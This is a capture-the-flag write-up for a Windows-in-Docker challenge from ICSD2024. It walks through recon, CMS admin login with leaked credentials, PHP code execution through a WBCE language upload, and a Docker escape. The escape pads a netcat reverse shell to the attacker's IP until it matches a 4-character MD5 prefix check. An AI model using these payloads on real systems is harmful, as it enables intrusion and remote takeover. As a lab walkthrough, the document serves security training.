Skip to content
Mr. Windoclin - ICSD2024

Mr. Windoclin - ICSD2024

Published: at 09:00 AM

Table of contents

Open Table of contents

INFO

This CTF was designed by Elnur Badalov and was Challenge №12 in ICSD’s CTF event “Who am I” held on 20.09.2024.

This write-up will show the solution to this CTF challenge.

Difficulty: Hard

The CTF event:

Reconnaissance

NMAP Scan

nmap -p- -sS -sC -sV 10.0.10.25 -v --min-rate 10000
# result
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.255.1.18
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Cant get directory listing: PASV IP 172.17.0.2 is not the same as 10.0.10.25
22/tcp   open  ssh           OpenSSH 9.0p1 Ubuntu 1ubuntu8.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 43:eb:24:ea:01:e5:d2:e0:55:4d:37:95:3c:ac:6a:6e (ECDSA)
|_  256 97:33:4e:15:41:32:8c:32:86:6c:c3:b6:5c:be:fa:d9 (ED25519)
80/tcp   open  http          Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
| http-title: CMC - A test post to test CMS
|_Requested resource was http://10.0.10.25/wbce/
|_http-favicon: Unknown favicon MD5: 6EB4A43CB64C97F76562AF703893C8FD
|_http-generator: WBCE CMS; https://wbce.org
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WINDOCL-GI0DS47
| Issuer: commonName=WINDOCL-GI0DS47
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-09-11T00:50:52
| Not valid after:  2025-03-13T00:50:52
| MD5:   8043:0cbe:6a96:c2d8:61fb:7dea:c545:61df
|_SHA-1: 2771:80d5:854a:3296:0f47:7072:934c:86d1:a095:44fd
|_ssl-date: 2024-09-23T06:33:02+00:00; 0s from scanner time.
| rdp-ntlm-info:
|   Target_Name: WINDOCL-GI0DS47
|   NetBIOS_Domain_Name: WINDOCL-GI0DS47
|   NetBIOS_Computer_Name: WINDOCL-GI0DS47
|   DNS_Domain_Name: WINDOCL-GI0DS47
|   DNS_Computer_Name: WINDOCL-GI0DS47
|   Product_Version: 10.0.20348
|_  System_Time: 2024-09-23T06:33:01+00:00

4 ports are open:

FTP Reveals a Hidden File

FTP allows anonymous login, and we find a hidden file .note.txt. We can download it using the get command.

ftp-session

It has the following note:

You could ask me to give you a virtual machine in the Cloud. Why are you doing such weird thing, Mr. Windoclin? Who setups Windows Server that way?

Additionally, add me to the Github Repository as a Contributor.

Here, we learn that the user’s name is Windoclin and he did something extraordinary with Windows. Additionally, he may have a GitHub account.

Rabbit Hole

Although the FTP service seems exploitable (vsftpd 2.3.4 has a public exploit for backdoor command execution via CVE-2011-2523), it is a rabbit hole and won’t be useful.

Github OSINT

Searching for windoclin on GitHub reveals a repository that points to his profile. github-osint We discover another repo called autotask:

...
username = "supascrtadminus3r"
password = "supascrtp4ssw0rd!!"
...

CMS

Recon

When we send a GET request to the IP, it redirects to http://10.0.10.25/wbce/.

cms-redirects

If we request the new URL again (or navigate to it in a browser), we see it requires resources from http://windoclin/wbce. This indicates we need to add the windoclin hostname to the /etc/hosts file.

cms-hostname-revealed

wbce in the URL suggests that the CMS in use is WBCE.

wbce-cms

This CMS does exist, and it has several exploits available.

wbce-cms-googled

CMS Admin Access

By checking some common directory names, we can find the admin portal of the CMS, where we can log in using the credentials found earlier.

cms-admin-panel

From the admin dashboard, we find the following information: WBCE Version: 1.6.2.

RCE

We use the following exploit:

To get RCE, navigate to Add-ons, then Languages, and install a language.

cms-admin-dashboard

Let’s try a simple payload:

<?php system('whoami');?>

Write this to a PHP file, upload it, and click Install.

cms-rce

The exploit succeeded! We got nt authority\system, which grants the highest privilege on the system.

Reverse Shell

For a reverse shell, I used this exploit:

cms-reverse-shell

Windows Enumeration

Let’s check Desktop of the windoclin user:

windows-enum

We find a shortcut to a folder located in a network share: \\host.lan.

net view \\host.lan
# gives
...
Data        Disk           Shared
...

# next, mount the share
net use Z: \\host.lan\Data

# cd there
Z:
Z:\>dir
 Volume in drive Z is Data
 Volume Serial Number is AC24-E051

 Directory of Z:\

09/12/2024  09:19 AM    <DIR>          .
09/12/2024  09:19 AM    <DIR>          ..
09/12/2024  02:36 AM        21,846,505 1.6.2.zip
09/12/2024  09:12 AM             2,468 healthy.sh
09/12/2024  10:25 AM               665 prevention.sh
09/12/2024  09:19 AM               166 README.MD
09/11/2024  10:19 AM                 7 user.txt
01/30/2024  11:47 PM    <DIR>          WBCE_CMS-1.6.2

Congratulations! We found user.txt!

windows-shared-folder

Windows Docker Escape

Three files interest us:

# A Note from Mr. Windoclin
```
6238383731656632663334623638393836333933353130373530653833323635
```

Do not modify the `healthy.sh`, otherwise it will not run**!**
#!/bin/bash

if [ "$#" -ne 2 ]; then
    echo "Usage: $0 <script_to_run> <expected_md5_prefix>"
    exit 1
fi

script_to_run=$1
the_md5=$2

if [ ! -f "$script_to_run" ]; then
    echo "Error: The script '$script_to_run' does not exist."
    exit 1
fi

actual_md5_prefix=$(md5sum "$script_to_run" | awk '{print $1}' | cut -c 1-4)
expected_md5_prefix=$(echo "$the_md5" | awk '{print $1}' | cut -c 1-4)

if [ "$actual_md5_prefix" == "$expected_md5_prefix" ]; then
    echo "MD5 checksum matches. Running the script..."
    bash "$script_to_run"
else
    echo "MD5 checksum does not match. Expected '$expected_md5_prefix', but got '$actual_md5_prefix'."
    exit 1
fi
certutil -hashfile .\healthy.sh MD5
# result
MD5 hash of .\healthy.sh:
b8871ef2f34b68986393510750e83265

The MD5 hash b8871ef2f34b68986393510750e83265 matches the one in the README.MD file.

Overall, the mechanism implemented here is used for performing regular health checks from a machine that connects to the shared folder. Additionally, it employs an insecure method for preventing the execution of an overwritten file, as it only checks the first 4 characters of the MD5 hash. This makes it vulnerable to a brute-force attack using the following script:

brute.sh

#!/bin/bash

# prepare the payload
FILE_PATH="shell.sh"
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.0.10.35 4444 >/tmp/f' > $FILE_PATH

TARGET_CHECKSUM="b887"

# add '#' to the end of shell file till first 4 characters are match
while true; do
    CURRENT_CHECKSUM=$(md5sum "$FILE_PATH" | awk '{ print $1 }' | cut -c 1-4)

    if [ "$CURRENT_CHECKSUM" == "$TARGET_CHECKSUM" ]; then
        echo "The file's checksum now matches the target: $CURRENT_CHECKSUM"
        break
    fi

    echo -n "#" >> "$FILE_PATH"

done

After creating shell.sh, transfer it onto the target machine, which can be done via a Python server. prepare-exploit

Then, on the target machine, replace the file in Z:/:

Invoke-WebRequest -Uri http://10.0.10.35:8000/shell.sh -OutFile healthy.sh

Set up a listener and wait for a connection.

Finally, voilà! We successfully obtain a shell and retrieve root.txt! machine-exploited

Conclusion

By exploring further, we can find a docker-compose.yml file, which reveals that Windows is running as a Docker container on a Linux host. The shared folder we accessed earlier is mounted between the Linux host and the Docker container.

docker-compose-file shared-folder

This was a non-standard Docker escape technique that leveraged weak file integrity checks.

Lastly, I congratulate the winners of the CTF and express my gratitude to PROSOL for holding such an event.